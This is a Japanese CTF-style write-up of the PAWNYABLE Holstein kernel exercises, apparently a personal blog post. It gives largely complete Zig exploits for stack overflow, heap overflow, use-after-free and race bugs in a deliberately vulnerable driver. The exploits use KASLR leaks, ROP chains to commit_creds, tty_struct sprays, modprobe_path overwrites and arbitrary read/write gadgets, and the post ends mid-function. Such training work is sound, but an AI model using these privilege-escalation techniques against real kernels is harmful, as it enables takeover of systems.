feyor.sh

PAWNYABLE

ptr-yudaiのPAWNYABLEを解いてみました。 以下の解法は複雑で、しかも説明は詳しくないかもしれないから、参考以外を利用するには多分難しいだろう。 PAWNYABLEは実にいい資料だから、pwnを学びたいなら、このページを閉じて、そちらに練習してください。

僕の日本語は下手くそだが、それでも書く練習したいと思っている。 それと、pwnにZigを使うことは非常に便利ですが(ま、Cよりも)、ですが資料が存在しないらしい。

この解法は未完成なので、他の課題の解法を見たいなら後ほどでしなよ。

Holstein

v1: Stack Overflow

さて、どの緩和策は有効をチェックしましょう。

Bash
pwn checksec vuln.ko 2>&1
[*] './src/vuln.ko'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x0)
    Stripped:   No
Bash
cat /proc/cpuinfo | grep -q -e 'smep.*smap' && echo 'SMEP/SMAP enabled'
cat /sys/devices/system/cpu/vulnerabilities/meltdown | grep -q -e 'PTI' && echo 'KPTI enabled'
cat /proc/cmdline | grep -q -e 'nokaslr' || echo 'KASLR enabled'
SMEP/SMAP enabled
KPTI enabled
KASLR enabled

FGKASLRもチェックしましょう:

Bash
cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'
ffffffff99200000 T startup_64
ffffffff99200040 T secondary_startup_64
ffffffff99200045 T secondary_startup_64_no_verify
ffffffff99200230 T __startup_64
ffffffff992005e0 T startup_64_setup_env
ffffffff9926e240 T prepare_kernel_cred
ffffffff9926e390 T commit_creds
ffffffff99a00e10 T swapgs_restore_regs_and_return_to_usermode
Bash
# reboot and run again
cat /proc/kallsyms | grep -e 'startup_64' -e 'swapgs_restore_regs_and_return_to_usermode' -e 'prepare_kernel_cred' -e 'commit_creds'
ffffffffb7600000 T startup_64
ffffffffb7600040 T secondary_startup_64
ffffffffb7600045 T secondary_startup_64_no_verify
ffffffffb7600230 T __startup_64
ffffffffb76005e0 T startup_64_setup_env
ffffffffb766e240 T prepare_kernel_cred
ffffffffb766e390 T commit_creds
ffffffffb7e00e10 T swapgs_restore_regs_and_return_to_usermode

まず、KASLRを回避するてめに、アドレスリークが必要です。

Zig
const std = @import("std");

pub fn main() !void {
    const fd = try std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
    defer std.posix.close(fd);

    var buf: [0x400 + 32]u8 = undefined;
    const bytes_read = try std.posix.read(fd, &buf);
    std.debug.dumpHex(buf[0..bytes_read]);
}
ffffffffa0a00000 T startup_64
ffffffffa0a00000 T _stext
ffffffffa0a00000 T _text
ffffffffa0a00040 T secondary_startup_64
ffffffffa0a00045 T secondary_startup_64_no_verify
ffffffffa0a00110 t verify_cpu
ffffffffa0a00210 T sev_verify_cbit
ffffffffa0a00220 T start_cpu0
ffffffffa0a00230 T __startup_64
ffffffffa0a005e0 T startup_64_setup_env
00007ffdcedd8528  06 00 00 00 04 00 00 00  40 00 00 00 00 00 00 00  ........@.......
00007ffdcedd8538  40 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00  @.......@.......
00007ffdcedd8548  68 02 00 00 00 00 00 00  68 02 00 00 00 00 00 00  h.......h.......
00007ffdcedd8558  08 00 00 00 00 00 00 00  03 00 00 00 04 00 00 00  ................
00007ffdcedd8568  A8 02 00 00 00 00 00 00  A8 02 00 00 00 00 00 00  ................
00007ffdcedd8578  A8 02 00 00 00 00 00 00  16 00 00 00 00 00 00 00  ................
00007ffdcedd8588  16 00 00 00 00 00 00 00  01 00 00 00 00 00 00 00  ................
00007ffdcedd8598  01 00 00 00 04 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd85a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd85b8  50 AA 00 00 00 00 00 00  50 AA 00 00 00 00 00 00  P.......P.......
00007ffdcedd85c8  00 10 00 00 00 00 00 00  01 00 00 00 05 00 00 00  ................
00007ffdcedd85d8  00 B0 00 00 00 00 00 00  00 B0 00 00 00 00 00 00  ................
00007ffdcedd85e8  00 B0 00 00 00 00 00 00  A4 FF 07 00 00 00 00 00  ................
00007ffdcedd85f8  A4 FF 07 00 00 00 00 00  00 10 00 00 00 00 00 00  ................
00007ffdcedd8608  01 00 00 00 04 00 00 00  00 B0 08 00 00 00 00 00  ................
00007ffdcedd8618  00 B0 08 00 00 00 00 00  00 B0 08 00 00 00 00 00  ................
00007ffdcedd8628  DC 68 02 00 00 00 00 00  DC 68 02 00 00 00 00 00  .h.......h......
00007ffdcedd8638  00 10 00 00 00 00 00 00  01 00 00 00 06 00 00 00  ................
00007ffdcedd8648  20 22 0B 00 00 00 00 00  20 32 0B 00 00 00 00 00   "...... 2......
00007ffdcedd8658  20 32 0B 00 00 00 00 00  03 2E 00 00 00 00 00 00   2..............
00007ffdcedd8668  70 35 00 00 00 00 00 00  00 10 00 00 00 00 00 00  p5..............
00007ffdcedd8678  02 00 00 00 06 00 00 00  90 43 0B 00 00 00 00 00  .........C......
00007ffdcedd8688  90 53 0B 00 00 00 00 00  90 53 0B 00 00 00 00 00  .S.......S......
00007ffdcedd8698  90 01 00 00 00 00 00 00  90 01 00 00 00 00 00 00  ................
00007ffdcedd86a8  08 00 00 00 00 00 00 00  04 00 00 00 04 00 00 00  ................
00007ffdcedd86b8  C0 02 00 00 00 00 00 00  C0 02 00 00 00 00 00 00  ................
00007ffdcedd86c8  C0 02 00 00 00 00 00 00  30 00 00 00 00 00 00 00  ........0.......
00007ffdcedd86d8  30 00 00 00 00 00 00 00  08 00 00 00 00 00 00 00  0...............
00007ffdcedd86e8  53 E5 74 64 04 00 00 00  C0 02 00 00 00 00 00 00  S.td............
00007ffdcedd86f8  C0 02 00 00 00 00 00 00  C0 02 00 00 00 00 00 00  ................
00007ffdcedd8708  30 00 00 00 00 00 00 00  30 00 00 00 00 00 00 00  0.......0.......
00007ffdcedd8718  08 00 00 00 00 00 00 00  51 E5 74 64 06 00 00 00  ........Q.td....
00007ffdcedd8728  00 2C 3B 03 8C 9B FF FF  00 00 00 00 00 00 00 00  .,;.............
00007ffdcedd8738  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8748  00 00 00 00 00 00 00 00  10 00 00 00 00 00 00 00  ................
00007ffdcedd8758  52 E5 74 64 04 00 00 00  20 22 0B 00 00 00 00 00  R.td.... "......
00007ffdcedd8768  20 32 0B 00 00 00 00 00  20 32 0B 00 00 00 00 00   2...... 2......
00007ffdcedd8778  E0 2D 00 00 00 00 00 00  E0 2D 00 00 00 00 00 00  .-.......-......
00007ffdcedd8788  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8798  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87b8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87c8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87d8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87e8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd87f8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8808  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8818  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8828  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8838  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8848  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8858  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8868  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8878  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8888  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8898  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88a8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88b8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88c8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88d8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88e8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd88f8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8908  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8918  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffdcedd8928  E8 7E 54 80 04 B2 FF FF  3C D3 B3 A0 FF FF FF FF  .~T.....<.......
00007ffdcedd8938  87 CD B4 A0 01 00 00 00  00 8A 6B 02 8C 9B FF FF  ..........k.....

buf[0x408..][0..8]​はカーネルのポインタが似てそうです。 何回を動かすでも、このアドレスはカーネルのベースアドレスからのオフセットは固定です(差は​0x13d33c​)。

狙いはroot権限昇格なので、ropchainで​commit_creds(prepare_kernel_cred(NULL))​を呼びましょう。

Bash
ropr --nosys --nojop -R '^(pop rdi;|pop rax;|mov \[rdi+.{3,5}\], ...;) ret;' vmlinux
0xffffffff81049576: add rdi, rsi; add r8, rdi; mov rax, r8; ret;
0xffffffff810a714a: mov rsi, rax; sub rsi, rcx; cmp rdx, rax; cmovs r8, rsi; mov rax, r8; ret;
0xffffffff81c9480d: pop rcx; ret;
0xffffffff81cc6e66: pop rdi; ret;
0xffffffff81f1f0e9: pop rdi; ret;
0xffffffff81f496b1: add rdi, rsi; mov [rdi], rdx; mov [rdi+8], rcx; mov [rdi+0x10], r8d; ret;

Zig
var POP_RDI: u64 = 0xffffffff811f61fd;
var POP_RCX: u64 = 0xffffffff8146ee3c;
var ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8: u64 = 0xffffffff81049576;
var MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8: u64 = 0xffffffff810a714a;

var KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
var PREPARE_KERNEL_CRED: u64 = 0xffffffff8106e240;
var COMMIT_CREDS: u64 = 0xffffffff8106e390;

fn ropchain(fd: std.posix.fd_t) !void {
    const file = (std.fs.File{ .handle = fd }).writer();
    var bw = std.io.bufferedWriter(file);
    const writer = bw.writer();

    try writer.writeByteNTimes('A', 0x400+8);
    try writer.writeAll(std.mem.asBytes(&[_]u64{
        POP_RDI,
        0,
        PREPARE_KERNEL_CRED,
        POP_RDI,
        0,
        POP_RCX,
        0, // make sub rsi, rcx a nop
        MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
        ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
        COMMIT_CREDS,

        KPTI_TRAMPOLINE,
        0, // junk
        0, // junk
        @intFromPtr(&ret2win),
        user_cs,
        user_rflags,
        user_rsp,
        user_ss,
    }));

    try bw.flush();
    unreachable;
}

fn adjust_offsets(kaslr_offset: u64) void {
    const gadgets = &[_]*u64{
        &POP_RDI,
        &POP_RCX,
        &ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
        &MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,

        &KPTI_TRAMPOLINE,
        &PREPARE_KERNEL_CRED,
        &COMMIT_CREDS,
    };
    for (gadgets) |g| {
        g.* += kaslr_offset;
    }
}
whoami: unknown uid 1337
[INFO] Kernel base: 0xffffffff81000000
[INFO] You won!!
root

完全なexploit

何故かよく分からないが、​ret2win​をジャンプした後で​SIGSEGV​を受け取ってしまった。 swapgs_restore_regs_and_return_to_usermode​はこの状態を避けるはずだったが、易きに付くことをしまし、そして​sigaction​でまた​ret2win​呼んでいました。

v2: Heap Overflow

Diff
10c10
< MODULE_DESCRIPTION("Holstein v1 - Vulnerable Kernel Driver for Pawnyable");
---
> MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");
31,32c31,32
<                         char __user *buf, size_t count,
<                         loff_t *f_pos)
---
>                            char __user *buf, size_t count,
>                            loff_t *f_pos)
34,35d33
<   char kbuf[BUFFER_SIZE] = { 0 };
<
38,39c36
<   memcpy(kbuf, g_buf, BUFFER_SIZE);
<   if (_copy_to_user(buf, kbuf, count)) {
---
>   if (copy_to_user(buf, g_buf, count)) {
51,52d47
<   char kbuf[BUFFER_SIZE] = { 0 };
<
55c50
<   if (_copy_from_user(kbuf, buf, count)) {
---
>   if (copy_from_user(g_buf, buf, count)) {
59d53
<   memcpy(g_buf, kbuf, BUFFER_SIZE);

今回はヒープexploit。 スタック上でのデータをリークしたり、リターンアドレスを書き換えたりすることはできない。 だが問題ない——カーネルの構造体をきちんと上書きすれば、権限昇格ができます。

ヒープオーバーフローが​g_buf​の後ろに書き込むができるが、どうやって構造体を必ず直後に隣り合うように配置できる? ヒープスプレーを使えば簡単だ。複数の構造体を確保すると、​g_buf​にあるスラブは構造体を配置する、結果的に​g_buf​の直後に構造体がある可能性が高い。

Zig
fn spray(fds: []std.posix.fd_t) !void {
    for (0..fds.len) |i| {
        fds[i] = try std.posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660);
    }
}

SLUB(カーネルのヒープ確保ルーチン)はslab確保ルーチンなので、同じくらいサイズの構造体を同じslabに配置する。 なので、約​0x400​バイトの構造体は必要。

Table 1: SLUBの様々のサイズ帯にpwnで使えるカーネル構造体 (出典)
Generic Cache Object
kmalloc-8 pci_filp_private signalfd_ctx
kmalloc-16 afs_file aa_revision
kmalloc-32 vmci_host_dev seq_operations (cg cache) coda_file_info shm_file_data
kmalloc-64 snd_info_private_data snd_ctl_file
kmalloc-96 subprocess_info watch_queue vfio_container
kmalloc-128 dlm_user_proc
kmalloc-192 loopback_pcm snd_timer_user pp_struct
kmalloc-256 vhci_data snd_compr_file msg_queue (cg cache)
kmalloc-512 tls_context mousedev_client (input group)
kmalloc-1024 pipe_buffer tty_struct sock xfrm_policy nouveau_cli
kmalloc-2048 super_block perf_event (SELinux disabled)
kmalloc-4096 net_device

tty_struct1, 2は特に便利だね;​const struct tty_operations *ops​を制御できれば、そのttyで​koioctl3を呼び出すでき、ACE(Arbitrary Code Execution)ができる。 また、ヒープのアドレスをリークすることができます。

後は2種類のリクが必要です:カーネルアドレス(ROP gadgetのアドレスを計算為)とヒープアドレス(悪用の​struct tty_operations *ops​のアドレスを分かり為)。

Zig
const std = @import("std");



pub fn main() !void {
    var ttys: [100]std.posix.fd_t = undefined;
    defer for (ttys) |tty| std.posix.close(tty);
    try spray(ttys[0..50]);

    const fd = try std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
    defer std.posix.close(fd);

    try spray(ttys[50..]);

    var buf: [0x400+0x100]u8 = [_]u8{'A'}**0x400 ++ [_]u8{0}**0x100;
    const bytes_read = try std.posix.read(fd, &buf);
    std.debug.dumpHex(buf[0x400..bytes_read]);
}
Hexdump
00007ffed91dc3f8  01 54 00 00 01 00 00 00  00 00 00 00 00 00 00 00  .T..............
00007ffed91dc408  00 50 D3 02 80 88 FF FF  80 88 C3 81 FF FF FF FF  .P..............
00007ffed91dc418  32 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  2...............
00007ffed91dc428  00 00 00 00 00 00 00 00  38 58 0D 03 80 88 FF FF  ........8X␍.....
00007ffed91dc438  38 58 0D 03 80 88 FF FF  48 58 0D 03 80 88 FF FF  8X␍.....HX␍.....
00007ffed91dc448  48 58 0D 03 80 88 FF FF  70 7D 73 02 80 88 FF FF  HX␍.....p}s.....
00007ffed91dc458  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffed91dc468  70 58 0D 03 80 88 FF FF  70 58 0D 03 80 88 FF FF  pX␍.....pX␍.....
00007ffed91dc478  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffed91dc488  90 58 0D 03 80 88 FF FF  90 58 0D 03 80 88 FF FF  .X␍......X␍.....
00007ffed91dc498  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffed91dc4a8  B0 58 0D 03 80 88 FF FF  B0 58 0D 03 80 88 FF FF  .X␍......X␍.....
00007ffed91dc4b8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00007ffed91dc4c8  00 00 00 00 00 00 00 00  D8 58 0D 03 80 88 FF FF  .........X␍.....
00007ffed91dc4d8  D8 58 0D 03 80 88 FF FF  00 00 00 00 00 00 00 00  .X␍.............
00007ffed91dc4e8  00 00 00 00 00 00 00 00  F8 58 0D 03 80 88 FF FF  .........X␍.....

なんと、​tty_struct​には両方のリクがある! 確かに便利ですね。 通常の​tty_struct​ならopsの値はptmx_fopsのアドレス(このvmlinuxでは​0xffffffff81c38880​)、そして​ldisc_sem.read_wait​の値は​tty_struct​のアドレス.

Zig
// as of 5.10.7
const tty_struct = extern struct {
    const ld_semaphore = extern struct {
        const list_head = extern struct {
            next: usize = 0xdeadbeefdeadbeef,
            prev: usize = 0xcafebabecafebabe,
        };

        count: u64 = 0,
        wait_lock: i32 = 0,
        wait_readers: i32 = 0,
        read_wait: list_head = .{},
        write_wait: list_head = .{},
    };

	magic: i32 = 0x5401,
	kref: i32 = 0,
	dev: usize = 0,
	driver: usize, // must be a valid heap address
	ops: usize,
    index: i32 = 0,
    ldisc_sem: ld_semaphore = .{},
    // don't care about the rest

    pub fn init(ops_table: usize) tty_struct {
        // ops_table must live on the heap
        return .{
            .driver = ops_table,
            .ops = ops_table,
            .ldisc_sem = .{
                .read_wait = .{ .next = ops_table, .prev = ops_table },
                .write_wait = .{ .next = ops_table, .prev = ops_table },
            },
        };
    }
};
const tty_operations = extern struct {
	lookup: usize = 0,
	install: usize = 0,
	remove: usize = 0,
	open: usize = 0,
    close: usize = 0,
    shutdown: usize = 0,
    cleanup: usize = 0,
    write: usize = 0,
    put_char: usize = 0,
    flush_chars: usize = 0,
    write_room: usize = 0,
    chars_in_buffer: usize = 0,
    ioctl: usize,
};

Zig
fn leakKASLROffset(fd: std.posix.fd_t) !u64 {
    const ptmx_fops_addr: u64 = 0xffffffff81c38880;

    var buf: [0x400+@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
    _ = try std.posix.read(fd, &buf);
    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
    return ret - ptmx_fops_addr;
}

fn leakGBuf(fd: std.posix.fd_t) !u64 {
    const offset = comptime blk: {
        const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
        break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
    };
    var buf: [0x400+offset]u8 = undefined;
    _ = try std.posix.read(fd, &buf);
    const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
    return ret - (buf.len-8);
}

ROPしたいから、悪質の​tty_operations​の​ioctl​の値はスタックピボットのアドレスに読み込んでる。

それと、ioctlを読んでる時に幾つかのレジースタは管理するから、第二引数はROPchainのアドレスにする(こう:​for (ttys) |tty| _ = std.os.linux.ioctl(tty, 0xdeadbeef, ropchain_addr);)。

Zig
fn posionTTYStruct(fd: std.posix.fd_t, g_buf_addr: u64) !void {
    const file = (std.fs.File{ .handle = fd }).writer();
    var bw = std.io.bufferedWriter(file);
    const writer = bw.writer();

    const fake_tty_ops = tty_operations{ .ioctl = PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP };
    try writer.writeAll(std.mem.asBytes(&fake_tty_ops));
    var n_written: usize = @sizeOf(@TypeOf(fake_tty_ops));
    n_written += try ropchain(writer);

    try writer.writeByteNTimes('A', 0x400 - n_written);
    try writer.writeAll(std.mem.asBytes(&tty_struct{ .driver = g_buf_addr, .ops = g_buf_addr })[0..@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]);

    try bw.flush();
}

ROPchainの内容は​modprobe_path​上書きするやつだ。

Bash
cat /proc/kallsyms | grep -e 'modprobe_path' -e 'swapgs_restore_regs_and_return_to_usermode'
ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode

CONFIG_KALLSYMS_ALL=y​がない場合、​modprobe_path​は​/proc/kallsyms​に表さない。 もちろんいるけど。

Python
from pwn import *
vmlinux = ELF("./vmlinux")
hex(next(vmlinux.search("/sbin/modprobe\0")))
0xffffffff81e38180

またsegfaultの問題が遭遇したので、​sigaction​を利用した。

Bash
whoami
./exploit
# execute bogus file
/tmp/unknown &> /tmp/null # /dev/null is priviledged
cat /tmp/whoisit
whoami: unknown uid 1337
[INFO] Kernel base: 0xffffffffa0800000
[INFO] g_buf located at: 0xffff9f45c3108000
[INFO] You won!!
root

完全なexploit

実はスタックピボットは不要でした:AAWガジェットを利用したら結果は同じだ。

他の方法

core_pattern読み込み
コアダンプが発生した際、~core_pattern~で定義されたプログラッムが呼び出される。​core_pattern​はFGKASLR影響しを受けないらしいから、特に便利っすね。
task_struct.cred​読み書き
AARとAAWがあれば、ヒープ上から​task_struct.cred​を探し出して、それを0をセットする(​prctl​を利用すればprocessの名は探すやすい値を変われば楽になる)。

v3: Use after Free

Diff
10c10
< MODULE_DESCRIPTION("Holstein v2 - Vulnerable Kernel Driver for Pawnyable");
---
> MODULE_DESCRIPTION("Holstein v3 - Vulnerable Kernel Driver for Pawnyable");
21c21
<   g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
---
>   g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
35a36,40
>   if (count > BUFFER_SIZE) {
>     printk(KERN_INFO "invalid buffer size\n");
>     return -EINVAL;
>   }
>
48a54,58
>
>   if (count > BUFFER_SIZE) {
>     printk(KERN_INFO "invalid buffer size\n");
>     return -EINVAL;
>   }

オーバーフローがない。g_bufのUAFを悪用しよう。

攻撃の作戦は:

  1. 2回で​/dev/holstein​を開く
  2. 一つのfdを閉じる
  3. 複数の​tty_struct​をスプレーする
  4. 別のfdで構造体のいずれかを書き換える
Python
from pwn import *
vmlinux = ELF("./vmlinux")
hex(next(vmlinux.search(b"core".ljust(128, b"\0"))))
0xffffffff81eb12e0
whoami: unknown uid 1337
[INFO] Kernel base: 0xffffffffb0c00000
[INFO] You won!!
root

完全なexploit

v4: Race Condition

Diff
10c10
< MODULE_DESCRIPTION("Holstein v3 - Vulnerable Kernel Driver for Pawnyable");
---
> MODULE_DESCRIPTION("Holstein v4 - Vulnerable Kernel Driver for Pawnyable");
14a15
> int mutex = 0;
20a22,27
>   if (mutex) {
>     printk(KERN_INFO "resource is busy");
>     return -EBUSY;
>   }
>   mutex = 1;
>
71a79
>   mutex = 0;

TOCTOUが導入してしまった——​mutex​の確認と更新はアトミックじゃない。 UAFを成功するためには、二つのスレッドが​if (mutex)​を通り過し、そして一つを閉じることが必要だ。

Zig
const c = @cImport({
    @cDefine("_GNU_SOURCE", {});
    @cInclude("pthread.h");
});

var master_fd: ?std.posix.fd_t = null;
fn race_master(slave_sync: *std.Thread.ResetEvent, master_sync: *std.Thread.ResetEvent) void {
    while (true) {
        std.Thread.sleep(2);
        if (std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660)) |mfd| {
            slave_sync.wait();
            slave_sync.reset();
            if (slave_fd) |_| {
                master_fd = mfd;
                master_sync.set();
                break;
            }
            std.posix.close(mfd);
        } else |err| switch (err) {
            error.DeviceBusy => {
                slave_sync.wait();
                slave_sync.reset();
            },
            else => unreachable,
        }
        master_sync.set(); // resume execution of slave
    }
}

var slave_fd: ?std.posix.fd_t = null;
fn race_slave(slave_sync: *std.Thread.ResetEvent, master_sync: *std.Thread.ResetEvent) void {
    while (true) {
        std.Thread.sleep(2);
        if (std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660)) |sfd| {
            slave_fd = sfd;
            slave_sync.set();
            master_sync.wait(); // sleep and let master resume execution
            master_sync.reset();
            std.posix.close(sfd);
            slave_fd = null;
            if (master_fd) |_| break;
        } else |err| switch (err) {
            error.DeviceBusy => {
                slave_sync.set();
                master_sync.wait(); // sleep and let master resume execution
                master_sync.reset();
            },
            else => unreachable,
        }
    }
}

fn pinThreadToCore(thread: std.Thread.Handle, core: usize) !void {
    var cpu = std.bit_set.ArrayBitSet(usize, std.os.linux.CPU_SETSIZE*@sizeOf(usize)).initEmpty();
    cpu.set(core);

    const err = c.pthread_setaffinity_np(@ptrCast(thread), @sizeOf(std.posix.cpu_set_t), @ptrCast(&@as(std.posix.cpu_set_t, @bitCast(cpu.masks))));
    switch (@as(std.posix.E, @enumFromInt(err))) {
        .SUCCESS => return,
        .FAULT => unreachable,
        .INVAL => return error.InvalidArgument,
        .SRCH => return error.ProcessNotFound,
        else => |e| return std.posix.unexpectedErrno(e),
    }
}

fn race() !std.posix.fd_t {
    std.debug.assert(try std.Thread.getCpuCount() > 1);

    var slave_sync = std.Thread.ResetEvent{};
    var master_sync = std.Thread.ResetEvent{};
    var t1 = try std.Thread.spawn(.{}, race_master, .{&slave_sync, &master_sync});
    var t2 = try std.Thread.spawn(.{}, race_slave, .{&slave_sync, &master_sync});

    try pinThreadToCore(t1.getHandle(), 0);
    try pinThreadToCore(t2.getHandle(), 1);

    t1.join();
    t2.join();

    std.debug.print("[INFO] Won the race\n", .{});
    defer master_fd = null;
    return master_fd.?;
}
[INFO] Won the race

複数のコアをヒープスップレする時には微妙な違いはある。 以下の説明は多分間違いが含むてる。

g_bufを解法する時(コア1で)、おそらくg_bufに居るスラブはコア0またはコア1のいずれかのアクティブスラブ。何故なら、確保した時点で真っ直ぐに解放したから。 g_bufはコア1に確保した場合、解法するとコア1のアクティブスラブのlock-freeフリーリスト(それとスラブのフリーリストは別物)。 つまり、~g_buf~に行った空虚な空間に新しい構造体を確保するてめに、その構造体はコア1から確保する必要です。 g_bufはコア0に確保したとコア1に解法した場合、アクティブスラブのフリーリストに追加する。 コア0に確保するでもコア1に確保するでも、結果は同じだ。4, 5.

要するに、コア0とコア1両方にスプレするが必要だ。

Zig
fn spray(dangling_fd: std.posix.fd_t, tty_fd: *?std.posix.fd_t) void {
    var fds: [100]std.posix.fd_t = undefined;
    var i: usize = 0;
    defer for (0..i) |j| std.posix.close(fds[j]);
    while (i < fds.len) : (i += 1) {
        fds[i] = std.posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660) catch return;

        // check if dangling_fd point to a tty_struct
        var buf =  [_]u8{0} ** @sizeOf(@FieldType(tty_struct, "magic"));
        _ = std.posix.read(dangling_fd, &buf) catch return;
        if (std.mem.eql(u8, &buf, std.mem.asBytes(&tty_struct{ .ops = undefined, .driver = undefined })[0..buf.len])) {
            tty_fd.* = fds[i];
            return;
        }
    }
}

fn getTty(fd: std.posix.fd_t) !std.posix.fd_t {
    return for (0..2) |cpu| {
        var ret: ?std.posix.fd_t = null;
        var t = try std.Thread.spawn(.{}, spray, .{fd, &ret});
        try pinThreadToCore(t.getHandle(), cpu);
        t.join();
        if (ret) |tty_fd| {
            std.debug.print("[INFO] Heap spray succeeded on core {d}\n", .{cpu});
            break tty_fd;
        } else {
            std.debug.print("[INFO] Heap spray failed on core {d}, retrying on {d}...\n", .{cpu, cpu+1});
        }
    } else error.SprayFailed;
}
[INFO] Won the race
[INFO] Heap spray succeeded on core 0

後はv3と同様にexploitする。今度はtask_structを書き込めるしましょう。

Zig
const std = @import("std");

<<lk01-lib>>
<<lk01-4-race>>
<<lk01-4-spray>>
<<tty_struct>>

var MOV_ADDROF_RDX_RCX: u64 = 0xffffffff811b72c6;
var MOV_EAX_ADDROF_RDX: u64 = 0xffffffff8145e3a8;

var aa_memoize: ?enum { read, write } = null;

fn aaw(fd: std.posix.fd_t, tty: std.posix.fd_t, g_buf_addr: u64, value: u32, address: u64) !void {
    switch (aa_memoize orelse .read) {
        .write => {},
        else => {
            _ = try std.posix.write(fd, std.mem.asBytes(&tty_struct.init(g_buf_addr + @sizeOf(tty_struct))) ++ std.mem.asBytes(&tty_operations{ .ioctl = MOV_ADDROF_RDX_RCX }));
            aa_memoize = .write;
        },
    }

    switch (std.posix.errno(std.os.linux.ioctl(tty, value, address))) {
        .SUCCESS => {},
        else => return error.AAWFail,
    }
}

fn aar(fd: std.posix.fd_t, tty: std.posix.fd_t, g_buf_addr: u64, address: u64) !u32 {
    switch (aa_memoize orelse .write) {
        .read => {},
        else => {
            _ = try std.posix.write(fd, std.mem.asBytes(&tty_struct.init(g_buf_addr + @sizeOf(tty_struct))) ++ std.mem.asBytes(&tty_operations{ .ioctl = MOV_EAX_ADDROF_RDX }));
            aa_memoize = .read;
        },
    }

    // we hijack the return value of ioctl, so we can't check it for errors
    return @intCast(0xffffffff & std.os.linux.ioctl(tty, 0xdeadbeef, address));
}

fn adjust_offsets(kaslr_offset: u64) void {
    const gadgets = &[_]*u64{
        &MOV_ADDROF_RDX_RCX,
        &MOV_EAX_ADDROF_RDX,
    };
    for (gadgets) |g| {
        g.* += kaslr_offset;
    }
}

fn leakKASLROffset(fd: std.posix.fd_t) !u64 {
    const ptmx_fops_addr: u64 = 0xffffffff81c3afe0;

